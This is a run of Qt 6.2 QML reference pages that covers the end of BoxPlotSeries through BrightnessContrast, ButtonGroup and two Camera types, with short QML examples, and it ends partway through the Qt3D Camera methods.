 ###  boxWidth : [real](qml-real)

 The width of the box-and-whiskers item. The value indicates the relative width of the item within its category. The value can be between 0.0 and 1.0. Negative values are replaced with 0.0 and values greater than 1.0 are replaced with 1.0.

 ###  brushFilename : [string](qml-string)

 The name of the file used as a brush for the series.

 ###  count : [int](qml-int)

 The number of box-and-whiskers items in a box plot series.

 Signal Documentation
--------------------

 ###  boxsetsAdded([list](qml-list) *sets*)

 This signal is emitted when the box-and-whiskers items specified by *sets* are added to the series.

 The corresponding signal handler is `onBoxsetsAdded()`.

 **Note:** The corresponding handler is `onBoxsetsAdded`.

 ###  boxsetsRemoved([list](qml-list) *sets*)

 This signal is emitted when the box-and-whiskers items specified by *sets* are removed from the series.

 The corresponding signal handler is `onBoxsetsRemoved()`.

 **Note:** The corresponding handler is `onBoxsetsRemoved`.

 ###  clicked([BoxSet](qml-qtcharts-boxset) *boxset*)

 This signal is emitted when the user clicks the box-and-whiskers item specified by *boxset* in the chart.

 The corresponding signal handler is `onClicked()`.

 **Note:** The corresponding handler is `onClicked`.

 ###  doubleClicked([BoxSet](qml-qtcharts-boxset) *boxset*)

 This signal is emitted when the user double-clicks the box-and-whiskers item specified by *boxset* in the chart.

 The corresponding signal handler is `onDoubleClicked()`.

 **Note:** The corresponding handler is `onDoubleClicked`.

 ###  hovered([bool](qml-bool) *status*, [BoxSet](qml-qtcharts-boxset) *boxset*)

 This signal is emitted when a mouse is hovered over the box-and-whiskers item specified by *boxset* in the chart. When the mouse moves over the item, *status* turns `true`, and when the mouse moves away again, it turns `false`.

 The corresponding signal handler is `onHovered()`.

 **Note:** The corresponding handler is `onHovered`.

 ###  pressed([BoxSet](qml-qtcharts-boxset) *boxset*)

 This signal is emitted when the user presses the *boxset* on the chart.

 The corresponding signal handler is `onPressed`.

 **Note:** The corresponding handler is `onPressed`.

 ###  released([BoxSet](qml-qtcharts-boxset) *boxset*)

 This signal is emitted when the user releases the mouse press on the box-and-whiskers item specified by *boxset* in the chart.

 The corresponding signal handler is `onReleased()`.

 **Note:** The corresponding handler is `onReleased`.

 Method Documentation
--------------------

 ###  append([BoxSet](qml-qtcharts-boxset) *box*)

 Appends the box-and-whiskers item specified by *box* to the series.

 ###  append([string](qml-string) *label*, VariantList *values*)

 Appends a new box-and-whiskers item with the label specified by *label* and the values specified by *values* to the series.

 ###  at([int](qml-int) *index*)

 Returns the box-and-whiskers item in the position specified by *index*.

 ###  clear()

 Removes all box-and-whiskers items from the series and permanently deletes them.

 ###  insert([int](qml-int) *index*, [string](qml-string) *label*, VariantList *values*)

 Inserts a new box-and-whiskers item with the label specified by *label* and the values specified by *values* to the series at the position specified by *index*.

 ###  remove(QBoxSet *boxset*)

 Removes the box-and-whiskers item specified by *boxset* from the series.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtcharts-boxplotseries.html>

BrightnessContrast QML Type
===========================

 Adjusts brightness and contrast. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt5Compat.GraphicalEffects |
|  Since: |  QtGraphicalEffects 1.0 |
|  Inherits: | [Item](qml-qtquick-item) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt5compat-graphicaleffects-brightnesscontrast-members.html)

 Properties
----------

 * **[brightness](qml-qt5compat-graphicaleffects-brightnesscontrast#brightness-prop)** : real
* **[cached](qml-qt5compat-graphicaleffects-brightnesscontrast#cached-prop)** : bool
* **[contrast](qml-qt5compat-graphicaleffects-brightnesscontrast#contrast-prop)** : real
* **[source](qml-qt5compat-graphicaleffects-brightnesscontrast#source-prop)** : variant

 Detailed Description
--------------------

 This effect adjusts the source item colors. Brightness adjustment changes the perceived luminance of the source item. Contrast adjustment increases or decreases the color and brightness variations.

 

| Source | Effect applied |
| --- | --- |
|  |  |

 Example
-------

 The following example shows how to apply the effect.

 
```
import QtQuick
import Qt5Compat.GraphicalEffects

Item {
    width: 300
    height: 300

    Image {
        id: bug
        source: "images/bug.jpg"
        sourceSize: Qt.size(parent.width, parent.height)
        smooth: true
        visible: false
    }

    BrightnessContrast {
        anchors.fill: bug
        source: bug
        brightness: 0.5
        contrast: 0.5
    }
}
```
 Property Documentation
----------------------

 ###  brightness : [real](qml-real)

 This property defines how much the source brightness is increased or decreased.

 The value ranges from -1.0 to 1.0. By default, the property is set to `0.0` (no change).

 

| Output examples with different brightness values |  |  |
| --- | --- | --- |
|  |  |  |
|  **brightness: -0.25**  |  **brightness: 0**  |  **brightness: 0.5**  |
| [contrast](qml-qt5compat-graphicaleffects-brightnesscontrast#contrast-prop): 0 | [contrast](qml-qt5compat-graphicaleffects-brightnesscontrast#contrast-prop): 0 | [contrast](qml-qt5compat-graphicaleffects-brightnesscontrast#contrast-prop): 0 |

 ###  cached : [bool](qml-bool)

 This property allows the effect output pixels to be cached in order to improve the rendering performance.

 Every time the source or effect properties are changed, the pixels in the cache must be updated. Memory consumption is increased, because an extra buffer of memory is required for storing the effect output.

 It is recommended to disable the cache when the source or the effect properties are animated.

 By default, the property is set to `false`.

 ###  contrast : [real](qml-real)

 This property defines how much the source contrast is increased or decreased. The decrease of the contrast is linear, but the increase is applied with a non-linear curve to allow very high contrast adjustment at the high end of the value range.

 

| Contrast adjustment curve |
| --- |
|  |

 The value ranges from -1.0 to 1.0. By default, the property is set to `0.0` (no change).

 

| Output examples with different contrast values |  |  |
| --- | --- | --- |
|  |  |  |
|  **contrast: -0.5**  |  **contrast: 0**  |  **contrast: 0.5**  |
| [brightness](qml-qt5compat-graphicaleffects-brightnesscontrast#brightness-prop): 0 | [brightness](qml-qt5compat-graphicaleffects-brightnesscontrast#brightness-prop): 0 | [brightness](qml-qt5compat-graphicaleffects-brightnesscontrast#brightness-prop): 0 |

 ###  source : variant

 This property defines the source item that provides the source pixels for the effect.

  **Note:** It is not supported to let the effect include itself, for instance by setting source to the effect's parent.

 

 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt5compat-graphicaleffects-brightnesscontrast.html>

BufferInput QML Type
====================

 Defines an input buffer to be used as input for a pass of an Effect. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick3D |
|  Inherits: | [Command](qml-qtquick3d-command) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick3d-bufferinput-members.html)

 Properties
----------

 * **[buffer](qml-qtquick3d-bufferinput#buffer-prop)** : Buffer
* **[sampler](qml-qtquick3d-bufferinput#sampler-prop)** : string

 Detailed Description
--------------------

 BufferInput is a [Command](qml-qtquick3d-command) which can be added to the list of commands in the [Pass](qml-qtquick3d-pass) of an [Effect](qml-qtquick3d-effect). When executed, it will expose the buffer as a sample to the shaders in the render pass. The shaders must declare a sampler with the name given in the BufferInput's `sampler` property.

 This can be used for sharing intermediate results between the different passes of an effect.

 **See also** [TextureInput](qml-qtquick3d-textureinput).

 Property Documentation
----------------------

 ###  buffer : [Buffer](qml-qtquick3d-buffer)

 Specifies the [buffer](qml-qtquick3d-buffer) which should be exposed to the shader.

 ###  sampler : [string](qml-string)

 Specifies the name under which the buffer is exposed to the shader. When this property is not set, the buffer is exposed with the built-in name `INPUT`.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick3d-bufferinput.html>

BusyIndicator QML Type
======================

 Indicates background activity, for example, while content is being loaded. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick.Controls |
|  Since: |  Qt 5.7 |
|  Inherits: | [Control](qml-qtquick-controls2-control) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-controls2-busyindicator-members.html)

 Properties
----------

 * **[running](qml-qtquick-controls2-busyindicator#running-prop)** : bool

 Detailed Description
--------------------


    ![]  
The busy indicator should be used to indicate activity while content is being loaded or the UI is blocked waiting for a resource to become available.

 The following snippet shows how to use the BusyIndicator:

 
```
BusyIndicator {
    running: image.status === Image.Loading
}
```
 BusyIndicator is similar to an indeterminate [ProgressBar](qml-qtquick-controls2-progressbar). Both can be used to indicate background activity. The main difference is visual, and that [ProgressBar](qml-qtquick-controls2-progressbar) can also present a concrete amount of progress (when it can be determined). Due to the visual difference, busy indicators and indeterminate progress bars fit different places in user interfaces. Typical places for a busy indicator:

 * in the corner of a [ToolBar](qml-qtquick-controls2-toolbar)
* as an overlay on top of a [Page](qml-qtquick-controls2-page)
* on the side of an [ItemDelegate](qml-qtquick-controls2-itemdelegate)

 **See also** [Customizing BusyIndicator](qtquickcontrols2-customize#customizing-busyindicator), [Indicator Controls](qtquickcontrols2-indicators), and [ProgressBar](qml-qtquick-controls2-progressbar).

 Property Documentation
----------------------

 ###  running : [bool](qml-bool)

 This property holds whether the busy indicator is currently indicating activity.

  **Note:** The indicator is only visible when this property is set to `true`.

  The default value is `true`.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-controls2-busyindicator.html>

ButtonAxisInput QML Type
========================

 QML frontend for QButtonAxisInput C++ class. The axis value is controlled by buttons rather than a traditional analog input such as a joystick. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Input |
|  Since: |  Qt 5.7 |
|  Instantiates: | [QButtonAxisInput](qt3dinput-qbuttonaxisinput) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-input-buttonaxisinput-members.html)

 Properties
----------

 * **[acceleration](qml-qt3d-input-buttonaxisinput#acceleration-prop)** : real
* **[buttons](qml-qt3d-input-buttonaxisinput#buttons-prop)** : list<var>
* **[deceleration](qml-qt3d-input-buttonaxisinput#deceleration-prop)** : list<var>
* **[scale](qml-qt3d-input-buttonaxisinput#scale-prop)** : real

 Detailed Description
--------------------

 Property Documentation
----------------------

 ###  acceleration : [real](qml-real)

 Specifies the rate at which the axis value changes when a button is held

 ###  buttons : [list](qml-list)<[var](qml-var)>

 Specifies the buttons which control the axis

 ###  deceleration : [list](qml-list)<[var](qml-var)>

 Specifies the rate at which the axis value returns to normal when a button is released

 ###  scale : [real](qml-real)

 Specifies how the axis output value is scaled. No scaling is applied by default so it defaults to 1.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-input-buttonaxisinput.html>

ButtonGroup QML Type
====================

 Mutually-exclusive group of checkable buttons. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick.Controls |
|  Since: |  Qt 5.7 |
|  Inherits: | [QtObject](qml-qtqml-qtobject) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-controls2-buttongroup-members.html)

 Properties
----------

 * **[buttons](qml-qtquick-controls2-buttongroup#buttons-prop)** : list<AbstractButton>
* **[checkState](qml-qtquick-controls2-buttongroup#checkState-prop)** : enumeration
* **[checkedButton](qml-qtquick-controls2-buttongroup#checkedButton-prop)** : AbstractButton
* **[exclusive](qml-qtquick-controls2-buttongroup#exclusive-prop)** : bool

 Attached Properties
-------------------

 * **[group](qml-qtquick-controls2-buttongroup#group-attached-prop)** : ButtonGroup

 Signals
-------

 * **[clicked](qml-qtquick-controls2-buttongroup#clicked-signal)**(AbstractButton *button*)

 Methods
-------

 * void **[addButton](qml-qtquick-controls2-buttongroup#addButton-method)**(AbstractButton *button*)
* void **[removeButton](qml-qtquick-controls2-buttongroup#removeButton-method)**(AbstractButton *button*)

 Detailed Description
--------------------

 ButtonGroup is a non-visual, mutually exclusive group of buttons. It is used with controls such as [RadioButton](qml-qtquick-controls2-radiobutton), where only one of the options can be selected at a time.

 The most straight-forward way to use ButtonGroup is to assign a list of buttons. For example, the list of children of a [positioner](qtquick-positioning-layouts) or a [layout](qtquicklayouts-index) that manages a group of mutually exclusive buttons.

 
```
ButtonGroup {
    buttons: column.children
}

Column {
    id: column

    RadioButton {
        checked: true
        text: qsTr("DAB")
    }

    RadioButton {
        text: qsTr("FM")
    }

    RadioButton {
        text: qsTr("AM")
    }
}
```
 Mutually exclusive buttons do not always share the same parent item, or the parent layout may sometimes contain items that should not be included in the button group. Such cases are best handled using the [group](qml-qtquick-controls2-buttongroup#group-attached-prop) attached property.

 
```
ButtonGroup { id: radioGroup }

Column {
    Label {
        text: qsTr("Radio:")
    }

    RadioButton {
        checked: true
        text: qsTr("DAB")
        ButtonGroup.group: radioGroup
    }

    RadioButton {
        text: qsTr("FM")
        ButtonGroup.group: radioGroup
    }

    RadioButton {
        text: qsTr("AM")
        ButtonGroup.group: radioGroup
    }
}
```
 More advanced use cases can be handled using the `addButton()` and `removeButton()` methods.

 **See also** [RadioButton](qml-qtquick-controls2-radiobutton) and [Button Controls](qtquickcontrols2-buttons).

 Property Documentation
----------------------

 ###  buttons : [list](qml-list)<[AbstractButton](qml-qtquick-controls2-abstractbutton)>

 This property holds the list of buttons.

 
```
ButtonGroup {
    buttons: column.children
}

Column {
    id: column

    RadioButton {
        checked: true
        text: qsTr("Option A")
    }

    RadioButton {
        text: qsTr("Option B")
    }
}
```
 **See also** [group](qml-qtquick-controls2-buttongroup#group-attached-prop).

 ###  [since QtQuick.Controls 2.4 (Qt 5.11)] checkState : [enumeration](qml-enumeration)

 This property holds the combined check state of the button group.

 Available states:

 

| Constant | Description |
| --- | --- |
| `Qt.Unchecked` | None of the buttons are checked. |
| `Qt.PartiallyChecked` | Some of the buttons are checked. |
| `Qt.Checked` | All of the buttons are checked. |

 Setting the check state of a non-exclusive button group to `Qt.Unchecked` or `Qt.Checked` unchecks or checks all buttons in the group, respectively. `Qt.PartiallyChecked` is ignored.

 Setting the check state of an exclusive button group to `Qt.Unchecked` unchecks the [checkedButton](qml-qtquick-controls2-buttongroup#checkedButton-prop). `Qt.Checked` and `Qt.PartiallyChecked` are ignored.

 This property was introduced in QtQuick.Controls 2.4 (Qt 5.11).

 ###  checkedButton : [AbstractButton](qml-qtquick-controls2-abstractbutton)

 This property holds the currently selected button in an exclusive group, or `null` if there is none or the group is non-exclusive.

 By default, it is the first checked button added to an exclusive button group.

 **See also** [exclusive](qml-qtquick-controls2-buttongroup#exclusive-prop).

 ###  [since QtQuick.Controls 2.3 (Qt 5.10)] exclusive : [bool](qml-bool)

 This property holds whether the button group is exclusive. The default value is `true`.

 If this property is `true`, then only one button in the group can be checked at any given time. The user can click on any button to check it, and that button will replace the existing one as the checked button in the group.

 In an exclusive group, the user cannot uncheck the currently checked button by clicking on it; instead, another button in the group must be clicked to set the new checked button for that group.

 In a non-exclusive group, checking and unchecking buttons does not affect the other buttons in the group. Furthermore, the value of the [checkedButton](qml-qtquick-controls2-buttongroup#checkedButton-prop) property is `null`.

 This property was introduced in QtQuick.Controls 2.3 (Qt 5.10).

 Attached Property Documentation
-------------------------------

 ###  ButtonGroup.group : [ButtonGroup](qml-qtquick-controls2-buttongroup)

 This property attaches a button to a button group.

 
```
ButtonGroup { id: group }

RadioButton {
    checked: true
    text: qsTr("Option A")
    ButtonGroup.group: group
}

RadioButton {
    text: qsTr("Option B")
    ButtonGroup.group: group
}
```
 **See also** [buttons](qml-qtquick-controls2-buttongroup#buttons-prop).

 Signal Documentation
--------------------

 ###  `[since QtQuick.Controls 2.1 (Qt 5.8)]` clicked([AbstractButton](qml-qtquick-controls2-abstractbutton) *button*)

 This signal is emitted when a *button* in the group has been clicked.

 This signal is convenient for implementing a common signal handler for all buttons in the same group.

 
```
ButtonGroup {
    buttons: column.children
    onClicked: console.log("clicked:", button.text)
}

Column {
    id: column
    Button { text: "First" }
    Button { text: "Second" }
    Button { text: "Third" }
}
```
 **Note:** The corresponding handler is `onClicked`.

 This signal was introduced in QtQuick.Controls 2.1 (Qt 5.8).

 **See also** [AbstractButton::clicked](qml-qtquick-controls2-abstractbutton#clicked-signal)().

 Method Documentation
--------------------

 ###  void addButton([AbstractButton](qml-qtquick-controls2-abstractbutton) *button*)

 Adds a *button* to the button group.

  **Note:** Manually adding objects to a button group is typically unnecessary. The [buttons](qml-qtquick-controls2-buttongroup#buttons-prop) property and the [group](qml-qtquick-controls2-buttongroup#group-attached-prop) attached property provide a convenient and declarative syntax.

  **See also** [buttons](qml-qtquick-controls2-buttongroup#buttons-prop) and [group](qml-qtquick-controls2-buttongroup#group-attached-prop).

 ###  void removeButton([AbstractButton](qml-qtquick-controls2-abstractbutton) *button*)

 Removes a *button* from the button group.

  **Note:** Manually removing objects from a button group is typically unnecessary. The [buttons](qml-qtquick-controls2-buttongroup#buttons-prop) property and the [group](qml-qtquick-controls2-buttongroup#group-attached-prop) attached property provide a convenient and declarative syntax.

  **See also** [buttons](qml-qtquick-controls2-buttongroup#buttons-prop) and [group](qml-qtquick-controls2-buttongroup#group-attached-prop).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-controls2-buttongroup.html>

Camera QML Type
===============

 Defines an abstract base for Cameras. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick3D |
|  Inherits: | [Node](qml-qtquick3d-node) |
|  Inherited By: | [CustomCamera](qml-qtquick3d-customcamera), [OrthographicCamera](qml-qtquick3d-orthographiccamera), and [PerspectiveCamera](qml-qtquick3d-perspectivecamera) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick3d-camera-members.html)

 Properties
----------

 * **[frustumCullingEnabled](qml-qtquick3d-camera#frustumCullingEnabled-prop)** : bool

 Methods
-------

 * vector3d **[lookAt](qml-qtquick3d-camera#lookAt-method-1)**(QtQuick3D::Node *node*)
* vector3d **[lookAt](qml-qtquick3d-camera#lookAt-method)**(vector3d *scenePos*)
* vector3d **[mapFromViewport](qml-qtquick3d-camera#mapFromViewport-method)**(vector3d *viewportPos*)
* vector3d **[mapToViewport](qml-qtquick3d-camera#mapToViewport-method)**(vector3d *scenePos*)

 Detailed Description
--------------------

 A Camera defines how the content of the 3D scene is projected onto a 2D surface, such as a [View3D](qml-qtquick3d-view3d). A scene needs at least one Camera in order to visualize its contents.

 It is possible to position and rotate the Camera like any other spatial [Node](qml-qtquick3d-node) in the scene. The [Node](qml-qtquick3d-node)'s location and orientation determines where the Camera is in the scene, and what direction it is facing. The default orientation of the camera has its forward vector pointing along the negative Z axis and its up vector along the positive Y axis.

 Together with the position and orientation, the frustum defines which parts of a scene are visible to the Camera and how they are projected onto the 2D surface. The different Camera subtypes provide multiple options to determine the shape of the Camera's frustum.

 * [PerspectiveCamera](qml-qtquick3d-perspectivecamera) provides a camera with a pyramid-shaped frustum, where objects are projected so that those further away from the camera appear to be smaller. This is the most commonly used camera type, and corresponds to how most real world cameras work.
* [OrthographicCamera](qml-qtquick3d-orthographiccamera) provides a camera where the lines of the frustum are parallel, making the perceived scale of an object unaffected by its distance to the camera. Typical use cases for this type of camera are CAD (Computer-Assisted Design) applications and cartography.
* [FrustumCamera](qml-qtquick3d-frustumcamera) is a perspective camera type where the frustum can be freely customized by the coordinates of its intersection with the near plane. It can be useful if an asymmetrical camera frustum is needed.
* [CustomCamera](qml-qtquick3d-customcamera) is a camera type where the projection matrix can be freely customized, and can be useful for advanced users who wish to calculate their own projection matrix.

 To illustrate the difference, these screenshots show the same scene as projected by a [PerspectiveCamera](qml-qtquick3d-perspectivecamera) and an [OrthographicCamera](qml-qtquick3d-orthographiccamera). Notice how the red box is smaller than the green box in the image rendered using the perspective projection.

 

| Perspective camera | Orthographic camera |
| --- | --- |
|  |  |

 **See also** [Qt Quick 3D - View3D Example](https://doc.qt.io/qt-6.2/qtquick3d-view3d-example.html).

 Property Documentation
----------------------

 ###  frustumCullingEnabled : [bool](qml-bool)

 When this property is `true`, objects outside the camera frustum will be culled, meaning they will not be passed to the renderer. By default this property is set to `false`. For scenes where all or most objects are inside the camera frustum, frustum culling is an unnecessary performance overhead. But for complex scenes where large parts are located outside the camera's view, enabling frustum culling may improve performance.

 Method Documentation
--------------------

 ###  `[since 5.15]` [vector3d](qml-vector3d) lookAt([QtQuick3D::Node](qml-qtquick3d-node) *node*)

 Sets the rotation value of the Camera so that it is pointing at *node*.

 This method was introduced in Qt 5.15.

 ###  `[since 5.15]` [vector3d](qml-vector3d) lookAt([vector3d](qml-vector3d) *scenePos*)

 Sets the rotation value of the Camera so that it is pointing at *scenePos*.

 This method was introduced in Qt 5.15.

 ###  [vector3d](qml-vector3d) mapFromViewport([vector3d](qml-vector3d) *viewportPos*)

 Transforms *viewportPos* from viewport space (2D) into global scene space (3D).

 The x- and y-values of *viewportPos* must be normalized, with the top-left of the viewport at [0, 0] and the bottom-right at [1, 1]. The z-value is interpreted as the distance from the near clip plane of the frustum (clipNear).

 If *viewportPos* cannot successfully be mapped to a position in the scene, a position of [0, 0, 0] is returned.

 **See also** [mapToViewport](qml-qtquick3d-camera#mapToViewport-method) and [View3D.mapTo3DScene](qml-qtquick3d-view3d#mapTo3DScene-method)().

 ###  [vector3d](qml-vector3d) mapToViewport([vector3d](qml-vector3d) *scenePos*)

 Transforms *scenePos* from global scene space (3D) into viewport space (2D).

 The returned position is normalized, with the top-left of the viewport at [0, 0] and the bottom-right at [1, 1]. The returned z-value will contain the distance from the near clip plane of the frustum (clipNear) to *scenePos* in scene coordinates. If the distance is negative, the point is behind camera.

 If *scenePos* cannot successfully be mapped to a position in the viewport, a position of [0, 0, 0] is returned.

 **See also** [mapFromViewport](qml-qtquick3d-camera#mapFromViewport-method)() and [View3D.mapFrom3DScene](qml-qtquick3d-view3d#mapFrom3DScene-method)().



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick3d-camera.html>

cameraFormat QML Basic Type
===========================

 cameraFormat represents a certain video format supported by a camera device.

 The format is a combination of a [QVideoFrameFormat::PixelFormat](https://en.wikipedia.org/wiki/Pixel_Format), resolution and a range of frame rates.

 cameraFormat objects can be queried from [cameraDevice](qml-cameradevice) to inspect the set of supported video formats.

 **See also** [cameraDevice](qml-cameradevice) and [Camera](qml-qtmultimedia-camera).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-cameraformat.html>

Camera QML Type
===============

 Defines a view point through which the scene will be rendered. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Render |
|  Since: |  Qt 5.5 |
|  Instantiates: | [QCamera](qt3drender-qcamera) |
|  Inherits: | [Entity](qml-qt3d-core-entity) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-render-camera-members.html)
* [Deprecated members](https://doc.qt.io/qt-6.2/qml-qt3d-render-camera-obsolete.html)

 Properties
----------

 * **[aspectRatio](qml-qt3d-render-camera#aspectRatio-prop)** : real
* **[bottom](qml-qt3d-render-camera#bottom-prop)** : real
* **[exposure](qml-qt3d-render-camera#exposure-prop)** : real
* **[farPlane](qml-qt3d-render-camera#farPlane-prop)** : real
* **[fieldOfView](qml-qt3d-render-camera#fieldOfView-prop)** : real
* **[left](qml-qt3d-render-camera#left-prop)** : real
* **[nearPlane](qml-qt3d-render-camera#nearPlane-prop)** : real
* **[position](qml-qt3d-render-camera#position-prop)** : vector3d
* **[projectionMatrix](qml-qt3d-render-camera#projectionMatrix-prop)** : matrix4x4
* **[projectionType](qml-qt3d-render-camera#projectionType-prop)** : enumeration
* **[right](qml-qt3d-render-camera#right-prop)** : real
* **[top](qml-qt3d-render-camera#top-prop)** : real
* **[upVector](qml-qt3d-render-camera#upVector-prop)** : vector3d
* **[viewCenter](qml-qt3d-render-camera#viewCenter-prop)** : vector3d
* **[viewVector](qml-qt3d-render-camera#viewVector-prop)** : vector3d

 Methods
-------

 * void **[pan](qml-qt3d-render-camera#pan-method-1)**(real *angle*, vector3d *axis*)
* void **[pan](qml-qt3d-render-camera#pan-method)**(real *angle*)
* void **[panAboutViewCenter](qml-qt3d-render-camera#panAboutViewCenter-method-1)**(real *angle*, vector3d *axis*)
* void **[panAboutViewCenter](qml-qt3d-render-camera#panAboutViewCenter-method)**(real *angle*)
* quaternion **[panRotation](qml-qt3d-render-camera#panRotation-method)**(real *angle*)
* void **[roll](qml-qt3d-render-camera#roll-method)**(real *angle*)
* void **[rollAboutViewCenter](qml-qt3d-render-camera#rollAboutViewCenter-method)**(real *angle*)
* quaternion **[rollRotation](qml-qt3d-render-camera#rollRotation-method)**(real *angle*)
* void **[rotate](qml-qt3d-render-camera#rotate-method)**(quaternion *q*)
* void **[rotateAboutViewCenter](qml-qt3d-render-camera#rotateAboutViewCenter-method)**(quaternion *q*)
* quaternion **[rotation](qml-qt3d-render-camera#rotation-method)**(real *angle*, vector3d *axis*)
* void **[tilt](qml-qt3d-render-camera#tilt-method)**(real *angle*)
* void **[tiltAboutViewCenter](qml-qt3d-render-camera#tiltAboutViewCenter-method)**(real *angle*)
* quaternion **[tiltRotation](qml-qt3d-render-camera#tiltRotation-method)**(real *angle*)
* void **[translate](qml-qt3d-render-camera#translate-method)**(vector3d *vLocal*, enumeration *option*)
* void **[translateWorld](qml-qt3d-render-camera#translateWorld-method)**(vector3d *vWorld*, enumeration *option*)
* void **[viewAll](qml-qt3d-render-camera#viewAll-method)**()
* void **[viewEntity](qml-qt3d-render-camera#viewEntity-method)**(Entity *entity*)
* void **[viewSphere](qml-qt3d-render-camera#viewSphere-method)**(vector3d *center*, real *radius*)

 Detailed Description
--------------------

 Property Documentation
----------------------

 ###  aspectRatio : [real](qml-real)

 Holds the current aspect ratio of the camera.

 ###  bottom : [real](qml-real)

 Holds the current bottom of the camera.

 This property is only relevant when [projectionType](qml-qt3d-render-camera#projectionType-prop) is [CameraLens](qml-qt3d-render-cameralens).OrthographicProjection.

 ###  exposure : [real](qml-real)

 Holds the current exposure of the camera.

 The default value is 0.0.

 The [MetalRoughMaterial](qml-qt3d-extras-metalroughmaterial) in Qt 3D Extras is currently the only provided material that makes use of camera exposure. Negative values will cause the material to be darker, and positive values will cause it to be lighter.

 Custom materials may choose to interpret the value differently.

 ###  farPlane : [real](qml-real)

 Holds the current camera far plane of the camera. Objects that are farther from the camera than the farPlane will not be rendered.

 ###  fieldOfView : [real](qml-real)

 Holds the current vertical field of view of the camera in degrees.

 Along with [aspectRatio](qml-qt3d-render-camera#aspectRatio-prop), this property determines how much of the scene is visible to the camera. In that respect you might think of it as analogous to choosing a wide angle (wide horizontal field of view) or telephoto (narrow horizontal field of view) lens, depending on how much of a scene you want to capture.

 fieldOfView is only relevant when [projectionType](qml-qt3d-render-camera#projectionType-prop) is [CameraLens](qml-qt3d-render-cameralens).PerspectiveProjection.

 ###  left : [real](qml-real)

 Holds the current left of the camera.

 This property is only relevant when [projectionType](qml-qt3d-render-camera#projectionType-prop) is [CameraLens](qml-qt3d-render-cameralens).OrthographicProjection.

 ###  nearPlane : [real](qml-real)

 Holds the current camera near plane of the camera. Objects that are closer to the camera than the nearPlane will not be rendered.

 ###  position : [vector3d](qml-vector3d)

 Holds the current position of the camera in coordinates relative to the parent entity.

 ###  projectionMatrix : [matrix4x4](qml-matrix4x4)

 Holds the current projection matrix of the camera.

 ###  projectionType : [enumeration](qml-enumeration)

 Holds the type of the camera projection. The default value is [CameraLens](qml-qt3d-render-cameralens).PerspectiveProjection.

 * [CameraLens](qml-qt3d-render-cameralens).OrthographicProjection - Parallel lines appear parallel. Objects appear the same size regardless of distance.
* [CameraLens](qml-qt3d-render-cameralens).PerspectiveProjection - Parallel lines appear to meet in the distance. Objects appear to shrink the farther they are from the camera.
* [CameraLens](qml-qt3d-render-cameralens).FrustumProjection
* [CameraLens](qml-qt3d-render-cameralens).CustomProjection

 **See also** [Qt3DRender::QCameraLens::ProjectionType](qt3drender-qcameralens#ProjectionType-enum).

 ###  right : [real](qml-real)

 Holds the current right of the camera.

 This property is only relevant when [projectionType](qml-qt3d-render-camera#projectionType-prop) is [CameraLens](qml-qt3d-render-cameralens).OrthographicProjection.

 ###  top : [real](qml-real)

 Holds the current top of the camera.

 This property is only relevant when [projectionType](qml-qt3d-render-camera#projectionType-prop) is [CameraLens](qml-qt3d-render-cameralens).OrthographicProjection.

 ###  upVector : [vector3d](qml-vector3d)

 Holds the current up vector of the camera in coordinates relative to the parent entity.

 The up vector indicates which direction the top of the camera is facing. Think of taking a picture: after positioning yourself and pointing the camera at your target, you might rotate the camera left or right, giving you a portrait or landscape (or angled!) shot. upVector allows you to control this type of movement.

 ###  viewCenter : [vector3d](qml-vector3d)

 Holds the current view center of the camera in coordinates relative to the parent entity.

 Intuitively, the viewCenter is the location the camera is pointing at.

 ###  [read-only] viewVector : [vector3d](qml-vector3d)

 Holds the camera's view vector in coordinates relative to the parent entity.

 This vector decribes the displacement from the camera ([position](qml-qt3d-render-camera#position-prop)) to its target ([viewCenter](qml-qt3d-render-camera#viewCenter-prop)).

 Method Documentation
--------------------

 ###  void pan([real](qml-real) *angle*, [vector3d](qml-vector3d) *axis*)

 Adjusts the camera pan about view center by *angle* in degrees on *axis*.

 ###  void pan([real](qml-real) *angle*)

 Adjusts the pan angle of the camera by *angle* in degrees.

 ###  void panAboutViewCenter([real](qml-real) *angle*, [vector3d](qml-vector3d) *axis*)

 Adjusts the camera pan about view center by *angle* in degrees on *axis*.

 ###  void panAboutViewCenter([real](qml-real) *angle*)

 Adjusts the camera pan about view center by *angle* in degrees.

 ###  [quaternion](qml-quaternion) panRotation([real](qml-real) *angle*)

 Returns the calculated pan rotation in relation to the *angle* in degrees taken in to adjust the camera's pan or left/right rotation on the Y axis.

 ###  void roll([real](qml-real) *angle*)

 Adjusts the camera roll by *angle* in degrees.

 ###  void rollAboutViewCenter([real](qml-real) *angle*)

